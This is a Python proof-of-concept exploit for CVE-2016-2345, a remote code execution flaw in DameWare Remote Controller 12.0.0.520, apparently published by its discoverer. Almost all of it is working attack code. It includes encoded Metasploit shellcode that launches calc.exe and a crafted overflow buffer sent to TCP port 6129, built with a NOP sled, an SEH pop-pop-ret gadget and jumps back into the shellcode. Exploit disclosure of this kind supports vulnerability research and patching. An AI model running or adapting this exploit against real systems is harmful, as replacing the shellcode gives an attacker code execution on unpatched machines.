DameWare Remote Controller 12.0.0.520 Remote Code Execution

`# Exploit Title: Dameware Remote Controller RCE  
# Date: 3-04-2016  
# Exploit Author: Securifera  
# Vendor Homepage: http://www.dameware.com/products/mini-remote-control/product-overview.aspx  
# Version: 12.0.0.520  
# Website: https://www.securifera.com/blog/2016/04/03/fun-with-remote-controllers-dameware-mini-remote-control-cve-2016-2345/  
# CVE : CVE-2016-2345  
  
import socket  
import sys  
import os  
import time  
import struct  
import binascii  
import random  
  
# windows/exec - 220 bytes  
# http://www.metasploit.com  
# Encoder: x86/shikata_ga_nai  
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,  
# CMD=calc.exe  
sc = ""  
sc += "\xba\x01\xa8\x4f\x9e\xd9\xca\xd9\x74\x24\xf4\x5e\x29"  
sc += "\xc9\xb1\x31\x31\x56\x13\x03\x56\x13\x83\xee\xfd\x4a"  
sc += "\xba\x62\x15\x08\x45\x9b\xe5\x6d\xcf\x7e\xd4\xad\xab"  
sc += "\x0b\x46\x1e\xbf\x5e\x6a\xd5\xed\x4a\xf9\x9b\x39\x7c"  
sc += "\x4a\x11\x1c\xb3\x4b\x0a\x5c\xd2\xcf\x51\xb1\x34\xee"  
sc += "\x99\xc4\x35\x37\xc7\x25\x67\xe0\x83\x98\x98\x85\xde"  
sc += "\x20\x12\xd5\xcf\x20\xc7\xad\xee\x01\x56\xa6\xa8\x81"  
sc += "\x58\x6b\xc1\x8b\x42\x68\xec\x42\xf8\x5a\x9a\x54\x28"  
sc += "\x93\x63\xfa\x15\x1c\x96\x02\x51\x9a\x49\x71\xab\xd9"  
sc += "\xf4\x82\x68\xa0\x22\x06\x6b\x02\xa0\xb0\x57\xb3\x65"  
sc += "\x26\x13\xbf\xc2\x2c\x7b\xa3\xd5\xe1\xf7\xdf\x5e\x04"  
sc += "\xd8\x56\x24\x23\xfc\x33\xfe\x4a\xa5\x99\x51\x72\xb5"  
sc += "\x42\x0d\xd6\xbd\x6e\x5a\x6b\x9c\xe4\x9d\xf9\x9a\x4a"  
sc += "\x9d\x01\xa5\xfa\xf6\x30\x2e\x95\x81\xcc\xe5\xd2\x7e"  
sc += "\x87\xa4\x72\x17\x4e\x3d\xc7\x7a\x71\xeb\x0b\x83\xf2"  
sc += "\x1e\xf3\x70\xea\x6a\xf6\x3d\xac\x87\x8a\x2e\x59\xa8"  
sc += "\x39\x4e\x48\xcb\xdc\xdc\x10\x22\x7b\x65\xb2\x3a"  
  
port = 6129  
  
if len (sys.argv) == 2:  
(progname, host ) = sys.argv  
else:  
print len (sys.argv)  
print 'Usage: {0} host'.format (sys.argv[0])  
exit (1)  
  
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)  
csock.connect ( (host, int(port)) )  
  
type = 444.0  
buf = struct.pack("I", 4400 ) #Init Version  
buf += "\xcc"*4  
buf += struct.pack("d", type) #Minor Version  
buf += struct.pack("d", type) #Minor Version  
buf += (40 - len(buf)) * "C"  
csock.send(buf)  
  
wstr = "\x90" * 0x10 #nop sled  
wstr += sc #calc shellcode  
wstr += "\x90" * (0x2ac - 0x10 - len(sc))  
wstr += "\xeb\x06\xff\xff" #short jump forward  
wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget  
wstr += "\x90" * 3 #nop  
wstr += "\xe9\x6b\xfa\xff\xff" #short jump back to shellcode  
wstr += "E" * 0xbc  
wstr += ("%" + "\x00" + "c" + "\x00")*5  
  
buf = struct.pack("I", 0x9c44) #msg type  
buf += wstr #payload  
buf += "\x00" * (0x200) #null bytes  
csock.send(buf)  
  
print binascii.hexlify(csock.recv(0x4000)) #necessary reads  
print binascii.hexlify(csock.recv(0x4000))  
  
csock.close()  
  
`